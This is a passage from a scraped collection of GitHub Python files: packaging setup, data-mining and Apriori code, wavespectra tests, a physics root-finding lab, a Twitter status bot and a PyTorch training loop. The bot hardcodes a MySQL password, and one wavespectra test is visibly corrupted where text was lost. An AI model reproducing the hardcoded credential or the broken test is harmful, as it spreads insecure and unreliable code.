txt_file.write(winning_candidate_summary)\n\n\n\n\n","repo_name":"klkanchi/Election-Analysis","sub_path":"Pypoll.py","file_name":"Pypoll.py","file_ext":"py","file_size_in_byte":2759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27555391909","text":"# -*- coding: utf-8 -*-\n\"\"\"Setup file for easyEEZYbotARM\n\"\"\"\n\nfrom setuptools import setup\n\nwith open(\"README.md\", \"r\") as f:\n long_description = f.read()\n\nsetup(\n name=\"easyEEZYbotARM\",\n version=\"0.0.1\",\n description=\"A python controller (3 dimensions inverse and forward kinematics) for the EEZYbotARM (MK1,MK2,MK3) movement\",\n license=\"MIT\",\n long_description=long_description,\n author=\"Ben Money-Coomes\",\n author_email=\"ben.money@gmail.com\",\n url=\"https://github.com/meisben\",\n package_dir={'': 'python_packages'},\n packages=[\"easyEEZYbotARM\", ],\n install_requires=[\"scipy\", \"numpy\", \"matplotlib\", \"pySerial\"]\n)\n","repo_name":"meisben/easyEEZYbotARM","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","stars":67,"dataset":"github-code","pt":"21"} +{"seq_id":"1626256031","text":"import sys\nimport gzip\n\nimport numpy as np\n\nrng = np.random.RandomState(0)\n\ndef say(s, stream=sys.stderr):\n stream.write(\"{}\".format(s))\n stream.flush()\n \ndef stop():\n sys.stdin.readline()\n \ndef assertion(cond):\n if not cond:\n raise Exception()\n \ndef load_embedding_iterator(filename, vocab=None, skip_head=True):\n line_idx = 0\n fopen = gzip.open if filename.endswith(\".gz\") else open\n with fopen(filename) as fin:\n for line in fin:\n line_idx += 1\n if skip_head and line_idx == 1:\n continue # skip head\n \n line = line.strip()\n if line:\n parts = line.split()\n word = parts[0]\n if vocab and word not in vocab: # skip useless vec\n continue\n \n vals = np.array([ float(x) for x in parts[1:] ])\n yield word, vals\n\ndef file_line_iterator(filename):\n with open(filename) as fin:\n for line in fin:\n yield line.strip()","repo_name":"yuanzh/aspect_adversarial","sub_path":"utils/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","stars":49,"dataset":"github-code","pt":"21"} +{"seq_id":"21862200671","text":"\"\"\"Testing the SpecArray accessor.\"\"\"\nimport os\nimport numpy as np\nimport xarray as xr\nimport pytest\n\nfrom wavespectra import SpecArray\n\n\nFILES_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), \"sample_files\")\n\n\n@pytest.fixture(scope=\"module\")\ndef dset():\n filename = os.path.join(FILES_DIR, \"wavespectra.nc\")\n _dset = xr.open_dataset(filename)\n yield _dset.efth\n\n\n@pytest.fixture(scope=\"module\")\ndef dset_full():\n filename = os.path.join(FILES_DIR, \"wavespectra.nc\")\n _dset = xr.open_dataset(filename)\n yield _dset\n\n\ndef test_accessor_attached(dset):\n assert hasattr(dset, \"spec\")\n\n\ndef test_repr(dset):\n assert \" 0\n\n\ndef test_wavelen(dset):\n shallow = dset.spec.wavelen(depth=10)\n deep = dset.spec.wavelen(depth=100)\n assert all(deep - shallow) > 0\n\n\ndef test_partition_has_spectral_coords(dset):\n ds = dset.isel(freq=0, dir=0, drop=True)\n with pytest.raises(ValueError):\n ds.spec.partition(None, None, None)\n\n\ndef test_partition_efth_wind_depth_have_same_nonspectral_coords(dset_full):\n dset = dset_full\n wsp_darr = dset.wspd\n wdir_darr = dset.wdir\n dep_darr = dset.dpt.isel(time=0, drop=True)\n with pytest.raises(ValueError):\n dset.spec.partition(wsp_darr=wsp_darr, wdir_darr=wdir_darr, dep_darr=dep_darr)\n\n\ndef test_stats(dset):\n hs1 = dset.spec.hs()\n hs2 = dset.spec.stats([\"hs\"]).hs\n assert hs1.values == pytest.approx(hs2.values)\n\n dset.spec.stats([\"hs\", \"tp\", \"dpm\"], names=[\"hs1\", \"tp1\", \"dpm1\"])\n dset.spec.stats({\"hs\": {}, \"crsd\": {\"theta\": 90}})\n with pytest.raises(ValueError):\n dset.spec.stats(\"hs\")\n with pytest.raises(ValueError):\n dset.spec.stats([\"hs\", \"tp\", \"dpm\"], names=[\"hs1\", \"tp1\"])\n with pytest.raises(ValueError):\n dset.spec.stats([\"stat_not_implemented\"])\n with pytest.raises(ValueError):\n dset.spec.stats([\"dd\"])\n","repo_name":"wavespectra/wavespectra","sub_path":"tests/test_specarray.py","file_name":"test_specarray.py","file_ext":"py","file_size_in_byte":3321,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"21"} +{"seq_id":"6591958467","text":"import math\nimport itertools\nfrom pyspark import SparkContext\nimport sys\nimport numpy as np\nimport pandas as pd\nimport collections\nimport bisect\nimport json\nclass FirstList(collections.UserList):\n def __lt__(self, other):\n return self[0].__lt__(other)\ndef get_item_dict(baskets):\n\t# Assign each item (artist_id) an integer to be used as index in the matrix\n\titem_dict = {}\n\tfor basket in baskets:\n\t\titems = basket[1] #basket[0] is user_id, basket[1] is a list of artist_id\n\t\tfor item in items:\n\t\t\tif item not in item_dict:\n\t\t\t\t#len(item_dict) is the size of dictionary\n\t\t\t\t#When adding the first item, it evaluates to 0, adding the second item, it evaluates to 1\n\t\t\t\t#So the range of assigned integers is [0, #items-1]\n\t\t\t\titem_dict[item] = len(item_dict)\n\treturn item_dict\ndef get_item_counter(baskets):\n\titem_counter = collections.Counter()\n\tfor basket in baskets:\n\t\titems = basket[1]\n\t\titem_counter.update(items)\n\treturn item_counter\n\ndef inverse_dict(d):\n\t# {key: value} will become {value: key}\n\treturn {v: k for k, v in d.items()}\n\ndef tuple_wrapper(s):\n\tif type(s) is not tuple:\n\t\ts = (s, )\n\treturn s\n\ndef get_possible_k(item_dict, k):\n\tpossible_k = {}\n\tfor pair in itertools.combinations(item_dict.keys(), 2):\n\t\tpair_set = set()\n\t\tfor i in range(2):\n\t\t\tpair_set = pair_set.union(tuple_wrapper(pair[i]))\n\t\tif len(pair_set) == k:\n\t\t\tpossible_k[frozenset(pair_set)] = [pair[0], pair[1]]\n\treturn possible_k\ndef tuple_list_method(baskets, support, item_dict=None, k=2):\n if item_dict is None:\n item_dict = get_item_dict(baskets)\n else:\n # Only used in Q3, Q4, Q5\n # item_dict has been computed -> it's aprior method. Filter baskets to remove infrequent items\n # When k=2, infrequent single items have been removed from baskets. When k>=3, item_dict won't include single items\n # baskets will be modified!\n if k == 2:\n for i in range(len(baskets)):\n basket = baskets[i]\n items = basket[1]\n items_filterd = [item for item in items if item in item_dict]\n baskets[i] = (basket[0], items_filterd)\n\n item_dict_inv = inverse_dict(item_dict)\n n = len(item_dict)\n\n # Only used in Q3, Q4, Q5\n if k >= 3:\n possible_k = get_possible_k(item_dict, k)\n\n tuples = [] # Storage space is allocated every time a new pair is occurred, similar to LinkedList\n\n # Key logic: Tuple List Method\n for basket in baskets:\n items = basket[1]\n for kpair in itertools.combinations(items, k):\n # kpair is a k element tuple, kpair[i] is item (string)\n if k >= 3:\n pair_set = frozenset(kpair)\n\n # Now kpair is a 2 element pair\n kpair = possible_k.get(pair_set, None)\n if kpair is None:\n continue\n\n i = item_dict[kpair[0]]\n j = item_dict[kpair[1]]\n\n if i > j:\n j, i = i, j\n\n # Convert 2D index to 1D index\n # idx don't have to be continuous in this case. The only thing we care is their relative order.\n # We could use simple C style index calculation, or continue using the index method in q1\n # idx = int((n*(n-1)/2) - (n-i)*((n-i)-1)/2 + j - i - 1)\n idx = i*n+j\n\n # Core idea: tuples are sorted in increasing order, so they could be efficiently located by binary search\n # Example: x = [1, 4, 12, 20, 30, 50] If we want to find the index of item 30 and manipulate it, it could be found efficiently by binary search. bisect.bisect_left(x, 30)\n # Binary search takes O(log(n)) time, much faster than traversing the list, which takes O(n).\n # This is the benefit of keeping the list sorted. When adding items, we want to keep it sorted, finding the insertion index also takes O(log(n)) time. bisect.bisect_left(x, 25)\n # Checkout https://docs.python.org/3.6/library/bisect.html\n insert_idx = bisect.bisect_left(tuples, idx)\n\n # The insertion index is at the end of the list, i.e. the new item is larger than all items in the list\n if insert_idx >= len(tuples):\n tuples.append(FirstList([idx, 1]))\n else:\n tp = tuples[insert_idx]\n\n # This pair is already in the tuple list. Increase it's count (second element) by 1\n if tp[0] == idx:\n tp[1] += 1\n else:\n # This pair is not yet in the tuple list. Add a new tuple, the format is: (1D index, count)\n tuples.insert(insert_idx, FirstList([idx, 1]))\n\n # Extract results\n frequent_itemset_list = []\n for tp in tuples:\n count = tp[1]\n\n # Convert 1D index to 2D index\n # If you use different indexing method, this also needs to be changed\n i = tp[0] // n\n j = tp[0] % n\n\n item_i = item_dict_inv[i]\n item_j = item_dict_inv[j]\n\n # This implementation is ready for k>=3\n item_all = set()\n for item in (item_i, item_j):\n item_all = item_all.union(tuple_wrapper(item))\n\n item_all = tuple(sorted(list(item_all)))\n\n # apply support threshold\n if count >= support:\n frequent_itemset_list.append((item_all, count))\n\n frequent_itemset_list = sorted(frequent_itemset_list, key=lambda x: [-x[1]] + list(x[0]))\n return frequent_itemset_list\n# Wrap in a function to be reused in Q3\ndef triangular_matrix_method(baskets, support, item_dict=None, k=2):\n\tif item_dict is None:\n\t\titem_dict = get_item_dict(baskets) #item -> integer\n\telse:\n\t\t# Only used in Q4, Q5\n\t\t# item_dict has been computed -> it's aprior method. Filter baskets to remove infrequent items\n\t\t# When k=2, infrequent single items have been removed from baskets. When k>=3, item_dict won't include single items\n\t\t# baskets will be modified!\n\t\tif k == 2:\n\t\t\tfor i in range(len(baskets)):\n\t\t\t\tbasket = baskets[i]\n\t\t\t\titems = basket[1]\n\t\t\t\titems_filterd = [item for item in items if item in item_dict]\n\t\t\t\tbaskets[i] = (basket[0], items_filterd)\n\n\titem_dict_inv = inverse_dict(item_dict) #integer -> item. Inverse dict will be used when printing results\n\tn = len(item_dict)\n\n\t# Only used in Q4, Q5\n\tif k >= 3:\n\t\tpossible_k = get_possible_k(item_dict, k)\n\n\t# Storage space is pre-allocated. Similiar to ArrayList\n\t# Convert 2D index to 1D index\n\t# Conversion logic: https://stackoverflow.com/questions/27086195/linear-index-upper-triangular-matrix\n\ttri_matrix = [0] * (n * (n-1) // 2) # n * (n-1) always be even for n >= 2, use true division to make it a int\n\n\t# Key logic: Upper Triangular Matrix Method\n\tfor basket in baskets:\n\t\t# Take a basket (user), iterate all items (artist)\n\t\titems = basket[1]\n\n\t\t# Checkout https://docs.python.org/3.6/library/itertools.html#itertools.combinations\n\t\t# Equivalent to a double loop, but more concise\n\t\tfor kpair in itertools.combinations(items, k):\n\t\t\t# kpair is a k element tuple, kpair[i] is item (string)\n\t\t\tif k >= 3:\n\t\t\t\tpair_set = frozenset(kpair)\n\n\t\t\t\t# Now kpair is a 2 element pair\n\t\t\t\tkpair = possible_k.get(pair_set, None)\n\t\t\t\tif kpair is None:\n\t\t\t\t\tcontinue\n\n\t\t\t# i, j is integer index\n\t\t\ti = item_dict[kpair[0]]\n\t\t\tj = item_dict[kpair[1]]\n\n\t\t\t# Keep sorted in upper triangular order\n\t\t\tif i > j:\n\t\t\t\tj, i = i, j\n\n\t\t\t# Convert 2D index to 1D index\n\t\t\tidx = int((n*(n-1)/2) - (n-i)*((n-i)-1)/2 + j - i - 1)\n\t\t\t# Increase count by 1\n\t\t\ttri_matrix[idx] += 1\n\n\t# Extract results\n\tfrequent_itemset_list = []\n\tfor idx in range(len(tri_matrix)):\n\t\t# Convert 1D index to 2D index\n\t\ti = int(n - 2 - math.floor(math.sqrt(-8*idx + 4*n*(n-1)-7)/2.0 - 0.5))\n\t\tj = int(idx + i + 1 - n*(n-1)/2 + (n-i)*((n-i)-1)/2)\n\n\t\tcount = tri_matrix[idx]\n\t\titem_i = item_dict_inv[i]\n\t\titem_j = item_dict_inv[j]\n\n\t\t# Keep sorted in ascii order. item_i, item_j are strings or tuple of strings\n\t\t# This implementation is ready for k>=3\n\t\titem_all = set()\n\t\tfor item in (item_i, item_j):\n\t\t\titem_all = item_all.union(tuple_wrapper(item))\n\n\t\titem_all = tuple(sorted(list(item_all)))\n\n\t\t# apply support threshold\n\t\tif count >= support:\n\t\t\tfrequent_itemset_list.append((item_all, count))\n\n\t# First sorted by the occurrence count in decreasing order\n\t# Then sort by ascii order of the first item, in ascending order\n\t# Then sort by ascii order of the second item, in ascending order\n\tfrequent_itemset_list = sorted(frequent_itemset_list, key=lambda x: [-x[1]] + list(x[0]))\n\treturn frequent_itemset_list\n\ndef get_dict_from_frequent(frequent_list):\n\titem_dict = {}\n\tfor item in frequent_list:\n\t\titem_dict[item] = len(item_dict)\n\treturn item_dict\n\ndef aprior_all_method(baskets, support, method, son=False, total_baskets=0):\n\t# Used by Q5: SON\n\tif type(baskets) is not list:\n\t\tbaskets = list(baskets) #baskets are list now\n\tif son:\n\t\tsupport = math.floor(support*len(baskets)/total_baskets)\n\t\n\n\titem_counter = get_item_counter(baskets)\n\titemsets_1 = sorted([(k, v) for k, v in item_counter.items() if v >= support], key=lambda x: x[1], reverse=True)\n\tfrequent_1 = [x[0] for x in itemsets_1]\n\n\titemsets_list = [itemsets_1]\n\tfrequent_list = frequent_1\n\tfrequent_last = frequent_1\n\n\tk = 2\n\tmax_k = frequent_1[-1]\n\twhile True:\n\t\t# get a dictionary of current frequent items\n\t\t# Note: only frequent item pairs from the last pass is needed\n\t\titem_dict = get_dict_from_frequent(frequent_last)\n\n\t\t# baskets will be modfied!\n\t\titemsets = method(baskets, support, item_dict, k=k)\n\t\tif len(itemsets) > 0:\n\t\t\tfrequent_last = [x[0] for x in itemsets]\n\t\t\tfrequent_list += frequent_last\n\t\t\titemsets_list.append(itemsets)\n\t\t\tk += 1\n\t\telse:\n\t\t\tbreak \n\t\tif len(frequent_last)<=1:\n\t\t\tbreak\n\treturn itemsets_list, frequent_list\ndef get_dict_from_frequentitem(itemsets_list):\n\titemsets_dict = {}\n\tfor size in itemsets_list:\n\t\tfor item in size:\n\t\t\tif type(item[0]) is not tuple:\n\t\t\t\titemsets_dict[tuple_wrapper(item[0])] = item[1]\n\t\t\telse:\n\t\t\t\titemsets_dict[item[0]] = item[1]\n\t\n\treturn itemsets_dict\n\ndef print_all_frequent_itemsets(itemsets_list):\n\tn_itemsets = len(itemsets_list)\n\tfor i in range(n_itemsets-1, -1, -1):\n\t\tprint(f'Frequent itemsets of size: {i+1}')\n\t\tprint_frequent_itemsets(itemsets_list[i])\ndef print_frequent_itemsets(itemsets):\n\tfor frequent_itemset in itemsets:\n\t\tprint(frequent_itemset)\n\n\tprint(f'Total: {len(itemsets)}')\n\nif __name__ == '__main__':\n\tfilename = sys.argv[1]\n\toutput = sys.argv[2]\n\tinterest = float(sys.argv[3])\n\tsupport = int(sys.argv[4])\n\tratings = pd.read_csv(filename, encoding = 'utf8')\n\trating_filter = ratings[ratings['rating'] ==5]\n\tbasket_name = None\n\tbasket = []\n\tbaskets = []\n\tfor index,row in rating_filter.iterrows():\n\t\tuser_id, movie_id = int(row.userId), int(row.movieId)\n\t\tif user_id != basket_name:\n\t\t\tif basket_name is not None:\n\t\t\t\tbaskets.append((basket_name, basket))\n\t\t\tbasket = [movie_id]\n\t\t\tbasket_name = user_id\n\t\telse:\n\t\t\tbasket.append(movie_id)\n\tbaskets.append((basket_name, basket)) \n\t#print(baskets)\n\ttotal_baskets = len(baskets)\n\titemsets_list, frequent_list = aprior_all_method(baskets, support, tuple_list_method, True, total_baskets)\n\t#print(itemsets_list)\n\t#item_counter = get_item_counter(baskets)\n\t#itemsets_1 = sorted([(k, v) for k, v in item_counter.items() if v >= support], key=lambda x: x[1], reverse=True)\n\t#frequent_1 = [x[0] for x in itemsets_1]\n\t#frequent_list = frequent_1\n\titemsets_dict = get_dict_from_frequentitem(itemsets_list)\n\tanswers = []\n\t#print(frequent_list)\n\tfor pair in itertools.combinations(frequent_list,2):\n\t\tpair = list(pair)\n\t\tif type(pair[0]) is not tuple:\n\t\t\tpair[0] = tuple_wrapper(pair[0])\n\t\tif type(pair[1]) is not tuple:\n\t\t\tpair[1] = tuple_wrapper(pair[1])\n\t\tif abs(len(pair[0]) - len(pair[1]))== 1:\n\t\t\tif len(pair[0])>len(pair[1]):\n\t\t\t\ta = pair[0]\n\t\t\t\tb = pair[1]\n\t\t\telse:\n\t\t\t\ta = pair[1]\n\t\t\t\tb = pair[0]\n\t\t\tif set(b).issubset(set(a)):\n\t\t\t\tmovie_j = list(set(a) - set(b))[0]\n\t\t\t\tinterests = itemsets_dict[a]/itemsets_dict[b] - itemsets_dict[tuple_wrapper(movie_j)]/total_baskets\n\t\t\t\tif interests>= interest:\n\t\t\t\t\tassociate = sorted(list(set(b)))\n\t\t\t\t\tanswer = [associate, movie_j,interests ,itemsets_dict[a]]\n\t\t\t\t\tanswers.append(answer)\n\tanswers_sorted = sorted(answers, key=lambda x: (-abs(x[2]), -x[3], x[0], x[1]))\n\t#print(answers_sorted)\n\n\twith open(output,'w') as f:\n\t\tjson.dump(answers_sorted,f)\n\n\t\n","repo_name":"YiqunGan/Big-data-mining-with-Python-and-Spark","sub_path":"Big data mining with Python and Spark/yiqun_gan_hw2/yiqun_gan_task1.py","file_name":"yiqun_gan_task1.py","file_ext":"py","file_size_in_byte":12296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17245652269","text":"# This program was written by Brendan Halliday\n# for Lab 4 Question 3 part c which asks to\n# answer exercise 6.13 parts a and b from\n# 'Computational Physics' by Mark Newman \n# This program defines a binary search function and\n# uses it to solve the non linear equation\n# derived from the blackbody equation\n\nimport numpy as np\nfrom numpy.core.numeric import count_nonzero\nfrom scipy import constants\nimport Lab04_Q3_a as q3a\nimport matplotlib.pyplot as plt\n\n# Define helper functions\ndef f(x):\n \"\"\"\n Define the nonlinear equation \n under question.\n \"\"\"\n\n return 5 * np.exp(-x) + x - 5\n\ndef f_0(x):\n \"\"\"\n This function is to be used for \n relaxation method for x = g(x) where\n x = x and g(x) = 5 - 5 * np.exp(-x)\n \"\"\"\n return 5 - 5 * np.exp(-x)\n\ndef f_prime(x):\n \"\"\"\n This function is the analytical derivative\n of f(x) for each value x\n \"\"\"\n return 1 - 5 * np.exp(-x) \n\ndef binary_search(f, x_1, x_2, threshold):\n \"\"\"\n This function uses binary search to\n approximate the zero of a nonlinear equation\n \"\"\"\n dx = x_2 - x_1\n i = 0\n while dx > threshold:\n i = i + 1\n x_mid = (x_2 - x_1)/2 + x_1\n if np.sign(f(x_2)) != np.sign(f(x_mid)):\n x_1 = x_mid\n x_2 = x_2\n elif np.sign(f(x_1)) != np.sign(f(x_mid)):\n x_1 = x_1\n x_2 = x_mid\n else:\n print(\"Choose x_1 and x_2 on opposite sides of the zero\")\n dx = x_2 - x_1\n return [x_mid, i]\n\n\n\ndef newtons_method(f, f_prime, x, threshold):\n \"\"\"\n This function uses Newton's Method\n to approximate the zero of the function\n \"\"\"\n dx = 1\n i = 0\n while dx > threshold:\n i = i + 1\n xp = x - (f(x)/f_prime(x))\n dx = abs(xp - x)\n x = xp\n return i\n\ndef relax_count(f, threshold, x, dx):\n \"\"\"\n This function calculates the number\n of iterations required for the relaxation\n mehtod to converge to a the true answer within\n a given threshold.\n \"\"\"\n x_list = [x]\n i = 0\n while dx > threshold:\n x_list.append(f(x_list[-1]))\n dx = np.abs(x_list[-1]-x_list[-2])\n i += 1\n return i\n\n\nif __name__ == \"__main__\":\n\n threshold = 1e-6\n x_2 = 10\n x_1 = 1\n x_b = binary_search(f, x_1, x_2, threshold)[0]\n \n \n\n print(\"The zero is locates at: \")\n print(\"x = \", x_b)\n\n # displacemetn constant\n h = constants.Planck\n k = constants.Boltzmann\n c = constants.speed_of_light\n b = (c * h) / (k * x_b)\n print(\"Wien Displacement Constant is: \")\n print(\"b = \", b)\n\n # Part c\n # define lambda from the sun\n LAMBDA = 502e-9\n T = b / LAMBDA\n\n print(\"The temperature of the sun is estimated to be: \")\n print(T, \" K\")\n\n # this next part calculates the number of iterations it takes \n # each method to converge on the true value\n # it then plots number of iterations as a function of initial guess x\n count_b = []\n \n count_n = []\n \n count_r = []\n \n X = np.linspace(5, 50,100)\n plt.figure(1)\n\n\n\n for i in X:\n count_b.append(binary_search(f, x_1, i, threshold)[1])\n \n count_n.append(newtons_method(f, f_prime,i, threshold))\n \n count_r.append(relax_count(f_0, threshold, i, 1.0))\n\n \n plt.plot(X, count_b, label=\"Binary\")\n plt.plot(X, count_n, label=\"Newton\")\n plt.plot(X, count_r, label=\"Relaxation\")\n\n plt.xlabel('Choices for initial x')\n plt.ylabel('Number of iterations')\n plt.title('Iteration comparison between Newtons Method, Binary Search and Relaxation')\n plt.grid()\n plt.xlim(5,50)\n plt.legend()\n plt.savefig('Lab4_Q3c.png', dpi=300)\n plt.show()\n \n\n\n\n\n\n","repo_name":"brendanhalliday/Computational-Physics","sub_path":"LABS/Lab4/Lab04_Q3_c.py","file_name":"Lab04_Q3_c.py","file_ext":"py","file_size_in_byte":3691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"39412435957","text":"import os\nimport simfin as sf\n\nfrom utils.logger import get_logger\n\nlogger = get_logger(__name__)\n\nsf.set_api_key(api_key=os.getenv('SIMFIN_KEY'))\n\n\ndef get_financial_markets(data_dir: str='data'):\n logger.info(\"Loading a list of the financial markets\")\n sf.set_data_dir(data_dir)\n markets_df = sf.load_markets()\n return {val: key for key, val in markets_df['Market Name'].items()}\n","repo_name":"TomM25/value_screener","sub_path":"get_financial_markets.py","file_name":"get_financial_markets.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"4699285135","text":"import sys\nfrom twython import Twython\nimport os\nimport datetime\nimport MySQLdb\n\nCONSUMER_KEY = ''\nCONSUMER_SECRET = ''\nACCESS_KEY = ''\nACCESS_SECRET = ''\n\napi = Twython(CONSUMER_KEY,CONSUMER_SECRET,ACCESS_KEY,ACCESS_SECRET)\n\ntask = status=sys.argv[1]\nmessage = status=sys.argv[2]\n\n# Open database connection\ndb = MySQLdb.connect(\"localhost\",\"danny\",\"danny123\",\"MYGARDEN\" )\n# prepare a cursor object using cursor() method\ncursor = db.cursor()\nvWeatherAPITempData = \"404 error \";\nvTempsensor2 = \"404 error \";\nvWeatherAPIWeatherData = \"404 error \";\n\n\nif (task == 'CPU'):\n cmd = '/opt/vc/bin/vcgencmd measure_temp'\n line = os.popen(cmd).readline().strip()\n temp = line.split('=')[1].split(\"'\")[0]\n api.update_status(status='Dannyspi2.local CPU temperature is '+temp+' C - '+str(datetime.datetime.now()))\nif (task == 'message'):\n api.update_status(status=message+' - '+str(datetime.datetime.now()))\nif (task =='chart1'):\n photo = open('/var/www/Graph1.png','rb')\n api.update_status_with_media(media=photo, status='Outside Temp Chart - '+str(datetime.datetime.now()))\nif (task =='chart2'):\n photo = open('/var/www/Graph2.png','rb')\n api.update_status_with_media(media=photo, status='Inside Temp Chart - '+str(datetime.datetime.now()))\nif (task =='chart3'):\n photo = open('/var/www/Graph3.png','rb')\n api.update_status_with_media(media=photo, status='Outside Temp Chart all time -- '+str(datetime.datetime.now()))\nif (task =='chart4'):\n photo = open('/var/www/Graph4.png','rb')\n api.update_status_with_media(media=photo, status='Inside Temp Chart all time -- '+str(datetime.datetime.now()))\nif (task == 'temp'):\n cursor.execute(\"select SaveData from ControlLog where RunNumberId = (select max(RunNumberId) from RunNumber) and ActionName = 'temp sensor 2' ;\" )\n for row in cursor.fetchall():\n\n vTempsensor2 = (row[0])\n\n api.update_status(status='Internal Temp - '+str(vTempsensor2)+'C -- '+str(datetime.datetime.now()))\n\n cursor.execute(\"select SaveData from ControlLog where RunNumberId = (select max(RunNumberId) from RunNumber) and ActionName = 'Weather API' and LogDescription = 'Weather' ;\" )\n for row in cursor.fetchall():\n\n vWeatherAPIWeatherData = (row[0])\n\n cursor.execute(\"select SaveData from ControlLog where RunNumberId = (select max(RunNumberId) from RunNumber) and ActionName = 'Weather API' and LogDescription = 'Temp String' ;\" )\n for row in cursor.fetchall():\n\n vWeatherAPITempData = (row[0])\n\n api.update_status(status='API - Temp - '+str(vWeatherAPITempData)+' -- Weather -'+ vWeatherAPIWeatherData +' -- '+str(datetime.datetime.now()))\n","repo_name":"dprior1985/Tweet","sub_path":"SillyTweet.py","file_name":"SillyTweet.py","file_ext":"py","file_size_in_byte":2742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18207685032","text":"class Solution:\n def findMaxAverage(self, nums: List[int], k: int) -> float:\n kErr = 1e-5\n l = min(nums)\n r = max(nums)\n\n # Returns true if there's a subarray with length >= k and average sum >= m.\n def check(m: float) -> bool:\n summ = 0\n prevSum = 0\n minPrevSum = 0\n\n for i, num in enumerate(nums):\n # -m for each num so that we can check if the sum of the subarray >= 0\n summ += num - m\n if i >= k:\n prevSum += nums[i - k] - m\n minPrevSum = min(minPrevSum, prevSum)\n # If sum - minPrevSum >= 0,\n # we know there's a subarray with length >= k and average sum >= m\n if i + 1 >= k and summ >= minPrevSum:\n return True\n\n return False\n\n while r - l > kErr:\n m = (l + r) / 2\n if check(m):\n l = m\n else:\n r = m\n\n return l\n","repo_name":"walkccc/LeetCode","sub_path":"solutions/0644. Maximum Average Subarray II/0644.py","file_name":"0644.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","stars":756,"dataset":"github-code","pt":"21"} +{"seq_id":"1273389995","text":"from collections import OrderedDict\n\nimport torch\nimport torch.nn.parallel\n# from apex.optimizers.fused_lamb import FusedLAMB\nfrom timm.utils.distributed import reduce_tensor\nfrom torch.cuda.amp import autocast\nfrom tqdm import tqdm\n\nfrom utils import ioutils\nfrom utils.misc import AverageMeter\nfrom utils.misc import MetricLogger\n\n\ndef train_epoch(C_, args, epoch, model, loader, optimizer,\n lr_scheduler, criterion, loss_scaler, mixup_fn, wandb):\n if args.local_rank == 0 and C_.LOG_LEVEL >= 2:\n pbar = tqdm(total=len(loader))\n pbar.set_description('Ep:{:03d}'.format(epoch))\n\n num_updates = (epoch-1) * len(loader)\n\n loss_meter_s = AverageMeter()\n train_acc_meter_s = AverageMeter()\n loss_meter_l = AverageMeter()\n train_acc_meter_l = AverageMeter()\n metric_logger = MetricLogger(delimiter=' ')\n\n if C_.LOG_LEVEL >= 3:\n header = 'Epoch: [{}/{}]'.format(epoch, C_.MAX_EPOCHS)\n iterator = enumerate(metric_logger.log_every(loader, C_.LOG_INTERVAL, header))\n else:\n iterator = enumerate(loader)\n\n for batch_idx, batch in iterator:\n img, tgt = batch\n img = img.cuda(non_blocking=True)\n tgt = tgt.cuda(non_blocking=True)\n if mixup_fn is not None:\n img, tgt_tr = mixup_fn(img, tgt)\n else:\n tgt_tr = tgt\n\n optimizer.zero_grad(set_to_none=True)\n\n with autocast():\n logits = model(img)\n loss = criterion(logits, tgt_tr)\n curr_train_acc = (logits.argmax(dim=1) == tgt).sum()/float(len(tgt))\n\n loss_scaler(\n loss, optimizer,\n clip_grad=C_.GRAD_CLIP, clip_mode='norm',\n parameters=model.parameters(),\n create_graph=False)\n\n num_updates += 1\n\n lr_scheduler.step_update(num_updates)\n\n # NOTE: uncomment below to use warmup in steps but decay in epochs\n # if num_updates == C_.WARMUP_STEPS:\n # lr_scheduler.t_initial = lr_scheduler.t_initial//len(loader)\n # lr_scheduler.warmup_t = lr_scheduler.warmup_t//len(loader)\n # lr_scheduler.t_in_epochs = True\n\n if args.distributed:\n reduced_loss = reduce_tensor(loss.data, args.world_size)\n reduced_train_acc = reduce_tensor(curr_train_acc.data, args.world_size)\n else:\n reduced_loss = loss\n reduced_train_acc = curr_train_acc\n\n loss_meter_s.update(reduced_loss.item(), len(tgt))\n train_acc_meter_s.update(reduced_train_acc.item(), len(tgt))\n loss_meter_l.update(reduced_loss.item(), len(tgt))\n train_acc_meter_l.update(reduced_train_acc.item(), len(tgt))\n\n torch.cuda.synchronize()\n\n if args.local_rank == 0:\n if (batch_idx + 1) % C_.LOG_INTERVAL == 0:\n lrl = [param_group['lr'] for param_group in optimizer.param_groups]\n lr = sum(lrl) / len(lrl)\n log_dict = OrderedDict({\n 'Loss' : loss_meter_s.avg,\n 'Train Acc' : 100. * train_acc_meter_s.avg,\n 'LR' : lr\n })\n if C_.LOG_LEVEL >= 2:\n pbar.set_description(\n 'Ep:{:03d}, Loss:{:.4f}, Tr Acc:{:.2f}'.format(\n epoch, log_dict['Loss'], log_dict['Train Acc']),\n refresh=True)\n if args.rank == 0:\n wandb.log(log_dict)\n if C_.LOG_LEVEL == 4:\n log_str = ioutils.get_log_str(log_dict, title='Intra Epoch Log')\n print(log_str)\n loss_meter_s.reset()\n train_acc_meter_s.reset()\n\n if C_.LOG_LEVEL >= 2:\n pbar.update(1)\n\n lrl = [param_group['lr'] for param_group in optimizer.param_groups]\n lr = sum(lrl) / len(lrl)\n return OrderedDict({\n 'Epoch Lr' : ioutils.FormattedLogItem(lr, '{:.6f}'),\n 'Epoch Loss' : ioutils.FormattedLogItem(loss_meter_l.avg, '{:.6f}'),\n 'Epoch Train Acc' : ioutils.FormattedLogItem(100. * train_acc_meter_l.avg, '{:.2f}')\n })\n\n\n","repo_name":"samarth4149/task2sim","sub_path":"classifier/train_epoch.py","file_name":"train_epoch.py","file_ext":"py","file_size_in_byte":4136,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"21"} +{"seq_id":"27805946576","text":"'''\r\nDigital Image Processing\r\n16 April 2020\r\nby Sampada Petkar\r\n\r\nBitplane Slicing\r\n'''\r\n\r\nimport cv2 \r\nimport numpy as np\r\nimport 